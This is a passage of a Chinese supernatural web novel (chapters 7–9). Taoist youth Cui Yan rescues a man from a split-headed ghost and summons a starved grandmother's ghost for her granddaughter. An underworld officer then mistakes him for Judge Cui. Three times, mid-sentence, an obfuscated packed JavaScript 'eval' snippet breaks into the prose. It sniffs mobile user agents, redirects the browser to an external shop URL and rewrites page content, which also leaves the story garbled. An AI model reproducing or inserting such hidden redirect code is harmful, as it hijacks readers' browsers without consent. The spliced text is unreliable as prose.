他没有回话,身后温度也越来越低,那东西的耐心似乎降到了最低,抓着许航的手猛然一使力! “嘶——啊!” 走廊上响起一道清脆的喀嚓声,许航肩头传来一阵剧痛,随后痛处从肩膀处蔓延至整个半身。 操操操……他的肩膀是不是断了! “……跟我走吧” 身后的声音缓慢响起,幽幽地飘在空气中,语调带着濡湿泥泞的腥臭感,令人寒毛直竖。 许航汪的一声就哭了出来,要不是那东西紧紧抓着肩膀不让他动弹,不然许航早就给他跪下了。 “呜呜呜呜……我可以不去吗?” 他的恐惧像是取悦了黑暗中的东西,对方忽而发出阵阵尖锐的笑声。 “盒盒盒……” “不……可以!” 尖锐的笑声却因为残破的嗓子而时断时续,许航甚至感受到对方在笑的时候,那只手也在不断晃动,骨骼碰撞的咯吱声密集地响起。 其中还夹杂了一些说不清道不明的声音,黏腻得令人恶心。 像是家里用来煎油的肥腻猪肉,被砍碎后刀起刀落间互相粘连的声音,许航差点听吐出来。 “呕——” 那样生理性的恶心实在没办法憋住,许航干呕出来的瞬间,四周的空气忽然凝滞—— 卧槽!许航反应过来后,简直恨不得给自己两巴掌,他为什么没忍住啊啊啊!这下完了…… 那东西果然被激怒了,空气温度下降到冰点,两边墙壁上都因此染上了白霜,许航冷地不断打颤。 那只抓住他的手像是泄愤一般把他往后拖去,猛然加大的力道让许航向后踉跄着,没站稳后直接仰摔在地上。 许航心跳都骤然停了两秒! 而对方在他头顶病态一般喃喃:“……黄泉路……黄泉路……” 也正是这个角度,许航被拖行着,看清了那东西的模样。 朝向许航的那一面,看上是个中年男人的模样,对方头发凌乱,胡茬也没有仔细修剪过,身上的衣服破破烂烂,在黑暗中看上去颜色深深浅浅并不干净。 而另一面……从他头顶往下,明显是被锋利的东西一刀砍断,那东西整个脑袋都被一分为二,只有下巴筋膜黏连,没让断掉的脑袋掉下去。 鬼啊!!!许航瞳孔巨震! 此时,许航视线疯狂爆闪,却不经意间对上了断头鬼往下掉的那半张脸,上边倒挂的眼球转了转,随后目不转睛地盯着许航。 许航:“!!” 此刻他也看清了断头鬼另一半残破的身躯,不仅是头,它的一半身躯都被乱刀砍断,手脚上挂着碎肉,走动起来一瘸一拐,碎肉互相粘连发出黏腻的声音。 许航两眼一翻,终于晕了过去。 断头鬼丝毫不在乎他晕没晕,单手拖拽着许航,一点一点往黑暗中前进。 泥泞的路并不平整,许航的脑袋磕在地上,他即使是晕了,也痛得表情扭曲。 “黄泉路……黄泉路……” 断头鬼不断喃喃着。 “急着去投胎?我送你。” 寂静的空气中忽然出现了第二道声音,断头鬼前进的动作一顿。 它带着死尸一般的许航回头,瞧向来时的方向。 黑暗中少年的身形被罩在宽松的上衣下,只有一双笔直的腿修长柔韧。 “哒哒哒……”少年靠近的脚步声缓缓响起,不疾不徐,扎好的长发随动作微微晃动。 随后少年单手扬起,两指中央夹着一张纸,他手置于唇间轻轻一吹—— “哧!”短促的燃烧音响起。 整个长廊中的黑暗都被驱散殆尽,渺小但强大的光亮映照出少年的模样。 符纸在崔砚手中燃烧,但他仍然轻飘飘地捏着,完全不畏惧火焰的温度,而他一双漆黑的眼睛被照得异常明亮。 “但前提是,把他给我留下。” 伴随着最后一个字落下,少年手中巴掌大的火焰瞬间膨胀,火光遮天蔽日,将长廊完全笼罩在其中,威慑力十足。 少年的眼神落在被吓昏过去的人上,断头鬼布满整个眼眶的黑瞳看向崔砚,一动不动。 崔砚手中的力量让它感到畏惧,不敢轻易行动。 崔砚观察着对面的断头鬼,稍稍放下了心。 那家伙看着可怕,实际上只是因为死状凄惨,残留的特征便十分可怖。 但它身上戾气剩的不多,脖子和身上还有锁链缠绕的痕迹,怕不是被哪个粗心鬼差抓走后又遗落了。 这种鬼一旦被鬼差抓住,脑子就会在勾魂索的影响下变得混沌,除了投胎就没有第二个念头。 对方之所以会抓许航,也只是丢失了鬼差的踪迹后,下意识要找个引路人。 总结,此鬼攻击性不强。 这鬼也是欺软怕硬的,见许航胆子小就直接上手拖走,但崔砚它就不敢下手了,反而乖巧待在原地,什么也不敢干。 于是崔砚慢悠悠走过去,堂而皇之地从断头鬼手里把许航捉回来。 “松手。”崔砚道。 但断头鬼捏得太紧,又脑子混沌听不懂人话。 崔砚不得已之下只能两指一弹,星星点点的火光落在断头鬼的手上,眨眼间它的五指就仿佛被蒸发了一般,化为青烟缭绕消失。 “呃嗬……啊啊!”断头鬼后知后觉地发出惨叫声。 虽然断头鬼没有恶意,但活人本身就不该与鬼接触,许航这两天阳气衰弱,惊吓过度后阳气更是十不存一,胆魄仅差一线就能被惊出体外。 这会儿他一边的肩膀上阴气缠入,肩头魂火已然是灭了,醒来后少不得要大病一场。 崔砚要是晚来一步,许航这肩膀也算废了。 少年摇摇头,替许航拔除阴气稳固胆魄,于是信手在对方肩头拍了三下。 “慧元江边玩,金刚列两边,千里魂灵在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187248|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,急急入窍来!” 昏睡中的许航猛然向上弹动了一下,随后咳嗽三声,入体的阴气从口舌而出。 “咳咳咳!” 黑烟在空气中徘徊了一下,随后紧盯着崔砚,就要朝他疾冲而来。 崔砚紧急后退一步,伸手在面前嫌弃地扇了扇,不让那黑烟靠近自己。 处理完许航后,崔砚看了一眼四周的环境。 脚下黄土堆积,已然不是阳间的路,原本活人和鬼走的都是不同的两条道,互不相干。 七月半附近鬼门大开,这段时间阳间的生气也会被影响,许多阴潮之地都容易跟阴间路重合,许航阳火弱,又赶上这个时间点,一时间便误入了。 好在他小子命大,没有进入鬼门,而崔砚又来得及时。 要知道活人进入鬼门,超过七刻钟躯壳就会瞬间融化消散,而活人阳寿未尽,无法进入轮回,却又失去躯壳回不去阳间,就只能变成孤魂野鬼。 崔砚一张符把断头鬼定在原地,找到方向后,伸手拽起许航往肩上一扛,轻轻松松往出口走去。 也不知道他怎么做的,困住许航的黄土地在崔砚脚下一寸寸变成地毯,九步之后两人已然回到了阳间。 四周酒店走廊的夜灯静静地亮着,他们进去是十二点半,出来却只过了十分钟。 两边客房的客人已经睡下,监控在阴气的作用下,刚才那十分钟的画面波动损坏掉了,不会有任何人发现他们刚才的踪迹。 把人扛回酒店放下,崔砚琢磨了一下许航的胆子,怕他明早醒来后被吓得精神失常,便提笔沾上朱砂。 他没有拿出黄纸,反而在许航的头顶落笔,字迹灵光飘忽后消失在发间。 “雁过无声,梦过无痕。”崔砚收笔转了两下,“收工。” 解决完这边的事情,崔砚看了一眼时间,出门敲响隔壁王小麦的房门。 “咚咚咚。”门开了。 王小麦小心探头,看见崔砚后小脸扬起一个笑容,伸手就攥上崔砚的衣角。 崔砚让她拿上下午做的东西,两人离开酒店,就近找了块公园空地。 因为灵妙观在附近,而又是七月半这样的日子,一些人没办法到墓上祭祀,政府考虑到这一点,便特地划了一块不容易出事的地方,让大家可以祭祖烧纸。 这并不是什么复杂的法事,也就不需要太正式。 崔砚直接把纸扎的宴席按序排开,拿出白天顺的杯子,杯中盛满清水,又浸入七颗大米,从花坛中挖出一块泥,三根香点燃后插上固定,再燃上一对香烛。 随后他拿来不知道谁丢弃在这里的烧纸盆,一吹纸钱便无风自燃。 黄纸化灰落入盆中,少年中指与四指分开握住杯子,对王小麦道:“等会儿我开始说话的时候,你便不断呼唤你的奶奶。” 王小麦认真地点头,随后神色紧张起来,眼眶红红。 崔砚垂眸。 “诸行造化,不迷真灵,一呼即至,速返真形……” 王小麦也忍着眼泪开始呼喊:“奶奶……奶奶!” “奶奶!” “奶奶!” …… 稚嫩的声音呼唤着奶奶,在空气中一遍遍回荡,往远处飘散。 忽而一阵清风吹来,香上青烟缓缓左移,崔砚睁开双眼。 “来了。” 7. 首发文学城7 微冷的风缓缓吹来,其中夹杂着点点腥咸的气息,随后一个矮小的身影由远及近。 来人一头花白的头发打理得很整洁,面部沟壑显示着年龄,刘婆婆生前虽然靠捡垃圾废品为生,但她本人很爱干净。 跟王小麦一样,刘婆婆身上的衣服已经洗得发白起毛边,上边还打了不少补丁,祖孙俩平日过得也很节俭。 除了身形有些过于干瘦外,刘婆婆的死相相对来说还算安详。 崔砚一双眼睛天生就能看破阴阳,此刻他双瞳愈发漆黑,在月光的映衬下显得熠熠生辉。 招魂的目的已经达成,崔砚低头看向王小麦。 小姑娘已经过了具有童真眼的年纪,此刻干净的双眼看不真切。 但或许是她执念太深,有或许是祖孙牵绊太紧,刘婆婆慢慢来到面前时,她竟然也看到了个模糊的影子。 “奶奶!”王小麦眼眶通红,眼泪几乎是瞬间就落了下来。 她哭喊着最疼爱自己的奶奶,下意识奔跑过去想要拥抱那个模糊的影子,但却被一只手攥住衣领阻止了。 生人太靠近鬼怪终究不好,王小麦年龄小,哪怕是这样近距离待会儿,时间久了都会身体不适,更别说上前跟鬼拥抱。 但崔砚知道,如果他这么说的话,小姑娘思念泛滥肯定会不管不顾。 于是他只能善意道:“别靠太近,你身上的生气会伤害到奶奶。” 听他这么说,王小麦果然停下了脚步,只是一双眼睛仍旧牵系在刘婆婆身上,生怕自己一眨眼奶奶就消失了。 日思夜想的奶奶就在眼前,却只能保持这样的距离无法靠近,崔砚看着强忍眼泪的王小麦,有些不可遏制的心软。 他索性拿出一小块黑色的料子,东西刚拿出来就传出一阵异香。 古云:生犀不敢烧,燃之有异香,沾衣带,人能与鬼通。(1)引用 燃犀照夜,鬼神具现。只要点燃犀角,就能令普通人也得见鬼神踪影。 崔砚手腕一翻,一张符便出现在两指之中,随后绣口一吐,火焰燃烧照亮犀角。 灼热的温度靠近后,犀角上异香随着烧灼处蔓延开来。 崔砚拿着犀角,俯身在王小麦双眼前绕了一圈,小孩儿下意识闭上眼睛,随后缭绕的犀角烟停滞一瞬后,点点渗入王小麦的双眼中。 “好了。”崔砚收好犀角。 王小麦小心地睁开眼睛,而她睁眼的那一瞬间,浓雾自瞳孔中拨开——她也看清了眼前身形佝偻的小老太太。 刘婆婆的身形实在太瘦弱了,她生前身体便每况日下,即使最后没有饿死在家中,也仍旧是如今这副模样。 久违地见到奶奶出现在自己面前,王小麦的眼泪再次夺眶而出。 “奶奶,我好想你呜呜呜……”她呼唤奶奶的声音再次抑制不住。 但尽管再激动,王小麦也没有忘记刚才崔砚说的话,始终坚定地站在原地,没有贸然靠近刘婆婆。 崔砚微微叹了口气,安抚性地在王小麦肩上拍了拍。 刘婆婆死时已经饿得思绪混沌,死后成为饿死鬼执念不散,无法进入轮回,这会儿即使最疼爱的孙女站在面前,她也无法做出任何反应。 鬼差不收带戾的鬼入轮回,刘婆婆死后灵魂就这么居无定所地漂泊着,等待某天自然消亡。 而崔砚设了这场纸扎宴,宴席点灵后的气息没有任何一个饿死鬼能拒绝,再借用王小麦和刘婆婆的羁绊,对方这才被牵引了过来。 “小麦,现在你奶奶谁也认不出,先让她吃点东西。”崔砚安抚她:“等吃饱了,她就想起来了。” 对面的饿死鬼早就被宴席吸引,只是出于灵魂中趋利避害的本能,对面前的崔砚感到畏惧,所以没有第一时间靠近。 崔砚此时带着王小麦把路让开。 他没有多说一个字,说了刘婆婆也无法听懂,但少年让开的动作无异于许可的信号。 刘婆婆双眼麻木,无知无觉地咽了咽口水,裹挟着寒风立马飘过去。 饿死鬼天性使然,刘婆婆进食的动作并不好看,桌上的宴席很快就在她的手下变得一片狼藉,但一粒米都没有浪费。 鬼怪的动作野蛮粗暴,眼神也并不友善,但王小麦看着刘婆婆的眼中,仍然充满孺慕。 桌上宴席一点点消失,进食的欲望一点点被填满,刘婆婆全黑的眼眶中,也渐渐出现眼白的颜色。 随后她的动作越来越慢,眼神也越来越清醒,最后刘婆婆攥着手中的‘包子’,喃喃着自出现后的第一句话。 “包子……麦麦爱吃包子……” 王小麦已经尽量保持安静,不让自己出声吓到吃饭的奶奶,但此刻却呜咽出声:“奶奶、奶奶!” 一声奶奶叫醒了刘婆婆的神识,她缓缓回头看向自己年纪尚小的孙女,鬼怪双眼淌下阴气凝聚的眼泪。 “麦麦……奶奶的麦麦啊……” 刘婆婆站在原地,枯木一般的脸上露出慈祥的表情,眼神中倒映着孙女小小的身躯,溢满心疼:“怎么瘦了呀……” 崔砚低头,见王小麦脸上早已充满了斑驳的泪痕,而双手却死死攥紧,拳头颤抖着证明她的挣扎,她正在努力克制住自己想要靠近奶奶的冲动,因为哥哥说过,她会伤害奶奶。 崔砚张了张口,有些沉默。 最后他叹息一声,伸手在衣摆中搜寻了一下,最后撕掉那张紧贴着他腰腹的黄符,反握在手心。 崔砚拍了拍王小麦的肩,顺势将小姑娘往前推去:“去吧。” 王小麦惊愕地回头,见少年对她点点头:“去吧,不用怕。” 于是王小麦毫不犹豫扑向她原本失去,又在此刻重逢的奶奶。 反贴的黄符在王小麦身后微微晃动,崔砚抬头看了看夜色,幽幽地呼出一口气。 这气息带着浓白的雾,几乎要将四周的空气都凝结成冰。 崔砚伸手习以为常地拂去肩头坠落的冰霜,仅仅是这一刹那,他眼睫便已经开始泛白。 少年默不作声地抛出八张黄符,符纸无风自动,精准落在他周身八大方位。 符纸落地成阵,互相回应链接,形成一道道复杂有序的纹路,牢牢将崔砚围在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187249|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中心。 火焰从阵中蔓延开来,崔砚身上凝结的冰霜开始缓缓消退。 重逢的祖孙有太多话想要说,崔砚在一旁等候,直到月光渐渐消失在天际,该让他们告别的时间已然到了。 “小麦,奶奶必须要去投胎了。”崔砚出声提醒。 王小麦眼角有泪淌过,小老太太急忙要替她擦去,但双手在此刻变得透明——犀角的作用在消失。 小姑娘自己用手掌抹掉眼泪,仰头看着自己仍然高大的奶奶,不舍充斥着胸膛,让她此刻一个字也说不出来。 刘婆婆已经释然,“麦麦乖,奶奶先去探探路,下辈子呀,还要当我们麦麦的奶奶。” 祖孙又像从前那样,伸出小拇指勾在一起,来回晃晃。 “拉钩上吊,一百年不许变……” 随着最后一个字落下,刘婆婆在王小麦眼中消失得无影无踪,连模糊的身形都没能留下。 王小麦看着眼前的空气,努力让自己笑起来:“奶奶再见。” 刘婆婆在孙女头上虚虚地抚摸着,“再见麦麦。” 犀角的作用完全消失,四周的阴气也随着即将升起的太阳减弱,王小麦看不见刘婆婆,但崔砚还看得见。 他走过去对刘婆婆点头示意,然后将王小麦向后拉开距离,小姑娘肩头的符咒又被他取下放回自己身上,四周的阵法也功成身退,八张黄符留下缕缕黑灰,在风中化作细烟消散。 崔砚对刘婆婆道:“鸡鸣之前阴差都会在阳间巡游,到时候会带你去往轮回。” 刘婆婆:“谢谢你照顾麦麦。” 小老太太担忧地看着王小麦,对崔砚提出请求:“她亲生母亲的联系方式,就在家里电话本上写着,麦麦知道电话本放在哪里。” “如果可以的话,能拜托你联系一下麦麦的妈妈,让她把麦麦带走吗?” 王小麦的妈妈从来没有出现在过往谈资中,从始至终大家知晓的恶人都是王先生。 崔砚不知道王小麦的妈妈是谁,但刘婆婆既然将孙女托付给她,那么对方现在一定是王小麦最好的选择。 “好,我答应你。”崔砚道。 刘婆婆笑起来,了却了心中最后一桩心事,身上的最后一丝执念也消散了。 天边第一缕朝阳即将升起,崔砚感受到四周一反常态骤然浓郁起来的阴气,对刘婆婆道:“做好准备吧。” “阴差来找你了。” 分明天将露白,但四周的可见度,在崔砚眼中却变得低了起来。 王小麦是普通人看不见,但崔砚知道,这是阴差身上带的阴气。 所谓阴差,便是地府次级鬼神,鬼神也是鬼,能当阴差的都是阴气铺天盖地的大鬼。 在这样浓雾一般的阴气之中,有一抹刺眼的苍白从中穿破而来。 “哐当、哐当!” 这是铁链拖地碰撞的声音。 鬼差来得声势浩大,踪迹还在浓雾中没能得见,但声音却先传了出来。 “刘萍,锦川人氏,卒年2070,饿死于家中。” “找到你了。” 8. 首发文学城8 崔砚没想到会这么倒霉,阴差就在附近,还没来得及撤离就撞上了。 伴随着空气中若隐若现的声音传来,鬼差的身影逐渐靠近。 生人最好不要跟阴差正面对上,即使是与人友善的白无常,稍微碰上一下也会导致生人大病一场。 崔砚没有犹豫,转头带上王小麦,利落地在两人身上贴了符,然后钻进一旁的公共休息室中。 一道墙隔绝了内外,只有关上的玻璃窗能看清外边的画面。 “你在这儿乖乖呆着,闭上眼睛什么也不要看。”崔砚低头叮嘱王小麦。 虽然王小麦什么也看不见,不知道发生了什么,但她很听崔砚的话,点点头后就闭上了眼睛。 崔砚又检查了一下王小麦身上的符。 这道符能隐藏王小麦身上活人的气息,不让外面的阴差发现小姑娘的踪迹。 有些鬼神的脾气并不好,活人别说是注视了,仅仅是出现在他们眼前都能激怒对方。 而鬼神一怒,活人折寿损福,这种隐性报复带来的影响是潜移默化的,不容易发觉,等发觉时也没有任何办法能够挽回。 虽说白无常要比黑无常脾气好得多,但这种说法也只在传言中听过,崔砚这么些年没有直面过鬼差,也无从查证。 总之小心些肯定是对的。 而一扇窗外,浓白的雾气席卷了整个清泽湖畔,有白色身影裹挟着铁链丁零当啷的声音,一步步从大雾中露出真容。 来者白衣高帽,手中拿着三尺长的哭丧棒,漆黑锁链环绕周身,尾端还捆缚着一只眼熟的埋汰鬼。 崔砚凝神看过去,跟在白无常身后的那个黑影,不正是被他刻意定在酒店中的老酒鬼吗? 看来无常巡逻找到了它,顺手就揣上了。 好在天色即将破晓,崔砚估摸着再过十几分钟就该到鸡鸣十分,到时候供鬼神出入的鬼门关闭,白无常会准时离开,他和王小麦就不用再继续躲藏。 有天色原因在,又加上白无常自觉出场携带的阴气有些过多,见四周草木都落满了白霜,阴差便一挥袖—— 四周逸散的阴气被他收回袖中,等扰乱视线的白雾消失,崔砚也看清了这位传说中人物的真实模样。 传言白无常还活着的时候,因失约害死结义而自缢于树,所以他死相为很经典的吊死鬼模样。 舌长七尺,足足垂挂到鞋面,脸上用铅白涂抹,两腮红晕渗人。 又因为白无常生性良善,自知死相过于恐怖,为了不惊吓到偶然撞见他的活人,便常常面带笑容,头顶高帽上题写四个大字:“一见生财”。 崔砚见到酒鬼那骇人的死相都能面不改色,这会儿见到白无常的样子,也眼睛都不眨一下。 但他看着远处的白无常,眼神越来越古怪…… 有没有人能告诉他,为什么白无常白袍下穿着一双大勾滑板鞋,鞋上还闪烁着七彩的亮光?! 地府阴差也穿潮牌吗? 崔砚一时间脑子都看迷幻了,这个牌子有出闪光滑板鞋的款式吗? 他眼睁睁看着白无常脚下一蹬,也不知道什么原理,那滑板鞋分明鞋底离地三分,也能如风一般滚出去老远。 加上白无常身上松松垮垮的白袍,那双鞋造成视觉上的飘移身影,仿佛鬼片里的特效,吓人效果拔群。 但是鞋上的炫光实在是闪瞎眼睛,白无常你是不是有点ooc了?! 白无常并不知道自己正被人吐槽着,他裂开到耳根的嘴巴中哼着小曲儿,手腕抬在眼前。 只见鬼差手指在腕上一点,随后两指一捏,一张虚浮的显示屏就从他手背上被拉拽出来。 对照屏幕上的信息,白无常跟刘婆婆的样貌对上号后,满意地点点头,手里还拴着酒鬼的勾魂索就一甩。 铁链碰撞着发出令人牙酸的咯吱声,晃动起来,锁链上边的樱桃小丸子贴纸就愈发明显。 刘婆婆没有挣扎,就这么被勾魂索准确缠上,脖颈以及双腕上锁链缠绕,她便走在了那酒鬼的身后。 “收工。”今日最后一个漏网之鱼也解决了,白无常笑弯了眼睛。 随后他转头查看,却对上了刘婆婆神色清明的眼睛。 “怎么又过期了……”阴差嘴上抱怨一声。 随后他从自己宽大的衣袖中掏了掏,掏出个正正方方的玉盒,盒子一打开,当中流光溢彩的粉末便漏洒出几粒。 见状,白无常赶忙伸手去接,满眼心疼地看着手心的几粒粉末,随后两指从盒子中一捻,半搓尘粉碾做薄烟。 “去。” 一口阴气吹起,薄烟流光溢彩,席卷着化作一张大网,将勾魂索整个包裹在其中,随后上头的樱桃小丸子亮了亮。 做完这一切,白无常宝贝似的收好那盒子,揣进衣袖里,转头再看刘婆婆,她眼神混沌麻木,已经跟那酒鬼别无两样。 “收工。” 天将露白,勾魂索一端又缠绕回无常身上,他摇晃着哭丧棒,慢悠悠穿过清泽湖。 崔砚在一旁看着,思绪难得有些打结。 刚刚白无常手上那是什么东西?在他不知道的地方,地府已经发展成这样了? 他思索中,却见原本飘走的白无常忽然停了下来,像是发现了什么一样,疑惑地往回飘几步,随后停在原地。 崔砚瞳孔微微一缩,白无常停留的地方,恰好是刚才他划下阵法的位置。 白无常站在刚刚八张符的中央,鼻尖动了动,仔细感受着周围的气息,一双瞳孔黑色范围渐渐缩小直到全白。 无常的视线落在一侧,他微微蹲下身,指腹在地上沾了沾,抬手一看——灰白的指腹上沾染了几粒黑色符灰。 崔砚心道要完。 那头白无常打眼观察了一下四周,却一无所获,最后摇摇头又扛好哭丧棒,嘴里小曲儿的调子飘飘悠悠传远。 “世上稀逢百岁人~ 生来碌碌,死时茫茫, 觉时何时觉? 愿久哪得久。 …… 功名富贵,阴晴圆缺, ……”(1)引用改编 重重大雾再次将清泽湖遮盖,白无常的身影在雾中渐行渐远,那模糊的小调也随着雾散去。 见状崔砚稍稍松了口气,他垂眸检查了一下身上的符,新符旧符具在。 一道声音却忽而由远及近,唱完了未完的词曲。 “叹炎凉呐!叹炎凉!” 阴森鬼祟的声音贴近崔砚耳侧,一只手按在他肩头,伴随着身上隐匿符咒被撕破的声响—— “……找到你了。” 几乎是同一时间,崔砚伸手拉住王小麦,以极快的速度向门口的方向撤去。 他一手护住王小麦的双眼,将小姑娘忽闪的睫毛按住,不让她睁眼。 “别看。” 无论看不看得见,寻常人只要视线跟鬼差交汇上,鬼差一怒之下都有可能会直接让生人致盲。 崔砚心中警报声拉响,随后在门口朝自己原本站的地方看去,方才分明已经远去的白无常,此刻却出现在了原地。 而白无常正在打量崔砚。 明显带着生人气息的少年低着头,看不清具体样貌。 一到此地,白无常就感受到有股视线一直在窥探着自己,只不过他并不在意。 直到发现那抹符灰,以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187250|150707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及小范围空气中残留的霸道阴气,那样强横的阴气,即使只残留了一小缕,也足够让白无常感受难缠。 所谓离开,不过是声东击西罢了。 不过看到崔砚后,白无常却有些茫然。 气息的源头仿佛是眼前的少年,但对方浑身上下的气息都在证明一个事实——对方是个活人。 “你是什么来头?”白无常蹙眉质问。 崔砚没有跟他对视,双手一拱,做出个标准的道家见礼手势:“如您所见,我只是个普通人。” 对面的无常顿时气笑了,皮笑肉不笑:“普通人能得见本大人?” 这小子能听见他说话,还能看见他鬼相,即使是个活人,也是个有本事的活人,却来跟他讲“普通”? “懂得一些浅薄道术罢了。”崔砚微微垂眸。 白无常没有再跟他掰扯,直接问:“你为什么会出现在这里?刚才本大人察觉到一股不同寻常的阴气,你可知情?” 有王小麦在,他无意得罪眼前的鬼差,而白无常到现在都没有动手,也证明对方不是个不讲理的性子。 于是崔砚先行道歉,他便直说:“小子无意冒犯,只是身边带着幼童,她年纪小不懂事,怕见面冲撞了无常。” “至于阴气……”崔砚表情有些淡。 “不敢隐瞒大人,我八字极阴,那些阴气全都源自于我。” “你是……天阴命格?”白无常的声音因为惊讶变得有些尖利。 出生天时地利皆为全阴,且逢满月的人,就是极阴命格。 这样的成就条件极其苛刻,因为极阴命格的人承受不住自身的煞气,多半出生便会死亡,根本无法长大,甚至克父克母,能导致家破人亡。 而眼前的少年面相饱满,明显家庭和睦,父母亲人具在,自身也运道极佳。 这种八字极阴,却又违反常理一生顺遂的人,定是前世带来的福报。 上一世有大功德,这一世出生极阴,阴阳融合之下便是天阴命格。 天阴之人一旦寿终正寝,便可直接位列鬼神。 这种鬼神可不是说白无常这种次级,而是十殿级别…… 天阴命格从古至今也诞生过十人,其中却只有一人成功得升鬼神,只因他们想要寿终正寝实在是比登天还要难。 天阴命格生来带福煞,这种福煞不同于纯正的煞气,反而对人多有裨益,鬼怪得之,修为大涨。 历来十个天阴命格,一位寿终正寝成为高位鬼神,九位夭折,被拆吞入腹成就了九位鬼王。 而眼前的少年,是第十一个。 白无常一时间有些难言,他恍惚自己这百年岁月,如此作为奔波的次级鬼神有多久了? 眼前的少年,是一个未经发现的,正处于萌芽状态的天阴命格。 崔砚右手背在身后,两指间一张符蓄势待发。 这张符是他第一次使用,而一旦用掉,所带来的后遗症也足够崔砚丢掉半条命。 下一秒,哭丧棒当头敲下! 这一敲,若崔砚没躲过,那么魂魄就会立刻被哭丧棒吸入搅碎,当场魂飞魄散! 崔砚的心跳声如擂鼓,浑身上下的细胞都在叫嚣着危险,但他眼神却冷静得可怕。 少年手中的符在这一刻变得极亮,但却有比符篆更亮的东西—— 有东西从崔砚衣襟中飞了出来,哗啦啦中发出书页翻动的声响,无数金光从书页中向四周蔓延,天地被瞬间照亮! 白无常看到这金光,一瞬间眼白骤然猛颤,随后对上了少年惊讶抬起来的脸—— “扑通!”白无常在崔砚面前跪下。 “拜见判官大人!” 9. 首发文学城9 现在的状况有点出乎意料,崔砚催动符篆的手一顿,身后即将涌现的金光也就被掐灭终止。 少年低头看着跪在面前的鬼差,表情看似平静,实际上却有些懵逼。 这白无常在叫谁? 崔砚警惕地朝四周看了看,然而现场除了他跟王小麦之外,再也没有第三个人。 这个判官……是在叫他? 于是崔砚的视线又回到白无常身上,眼神逐渐变得探究起来。 少年没说话,跪地的白无常心脏怦怦跳,脑子里给自己找了一万个借口,差点被自己臆想的下场吓死。 自从五百年前的天地动荡之后,天庭寂灭,神明尽数失踪,四大判官陨落了三位,而地府的上位鬼神全都隐至幕后,只有重要的时刻才会现身。 崔判官是目前地府明面上唯一的代行掌权者,地府鬼神职责如今全系与他一人。 赏善、罚恶、察查的权利全都落在了崔判官手上,除此之外,他还掌有生死簿,阳间生人生死,不过都在他一笔之下。 而崔判只需要一双眼睛,便能论其功过,要赏要罚也不过一笔之力,地府众鬼无不畏惧。 如黑白无常牛头马面这等级的阴差,已经有上百年没有见过十殿阎王。 传说崔判长了一张很好说话的脸,眉眼圆润清俊,周身气度如一汪平静的湖,但只有接触过的才知道,这位地府如今说一不二的鬼神,有多令鬼胆寒畏惧。 十六年前白无常最后一次见到崔判官,那位大人的模样千百年都不曾改变。 ——眉眼面容,跟面前的少年分毫不差。 一想到自己刚才毫不遮掩的杀意,白无常的冷汗都要冒出来了,一张苍白的鬼脸更是惨白。 他怎么就被天阴之体冲昏了头呢? 传说天阴命格前世积攒功德的条件十分苛刻,这片大地上万万年时光也就出现了十位,近百年来阳间运道极盛,不曾有成就天阴的条件。 而那个唯一登临鬼神之位的天阴命格——正是崔判官。 想到这里,白无常浑身抖如糠筛,双眼一闭,暗道自己的命数怕是就要了结在今日了。 并不知道其中缘由的崔砚:“……?” 他没有轻举妄动,猜测到眼前的阴差大概率是将自己误认为了某位大人物,至于认错的原因——崔砚看向半空中漂浮的金书。 准确来讲,那东西在发光飘起来之前,应该是他空白一片的笔记本。 崔砚发誓,它只是一个平平无奇的笔记本,他上星期才从文具店里买回家,跟别在衣领处平平无奇的笔一起付了五块钱。 付款记录都能在手机里找到。 但现在是什么情况? 崔砚看向凌空漂浮的金书,刨除发光这一点,它看上去跟之前没什么两样,只是书页无风翻动,速度快到在周围形成了一小道飓风。 书页先是顺时针翻阅,一遍两遍……封皮上三个烫金的大字逐渐浮出,观之震慑心魄。 “……生死簿。” 崔砚喃喃,随后双眼中露出惊愕。 生死簿?传说中由地府崔判掌管,记录世间万物生死的生死簿?! 而原本还在烦躁翻动的生死簿,在少年声音落下的那一刻,像是得到了千百年追寻的结果一般,忽而安静了下来。 书页重新向后合上,生死簿三个字被压在下头,金书的背皮缓缓晃动。 自后向前,静静地翻开了第一页——仿佛有生命一般,字迹在内页中拨开重重金光。 【崔珏,阴律司府君,一簿生死辨忠奸,一笔勾魂定生死。】 一行字急急显现,却像是以水为墨,字迹消失于无痕。随后金书又在崔砚面前翻过一页,当中出现了新的字。 【谢必安,鬼使白无常,勾摄生魂,拘提亡魂。】 这一行字却没有消失,而是在书页上浮动落定。 最后书页再次合上,金光乍现,如同焰火一般炸出火花。 强光让崔砚下意识伸手挡住王小麦的脸,随后他再看去,一本平平无奇的笔记本就这么从半空坠落。 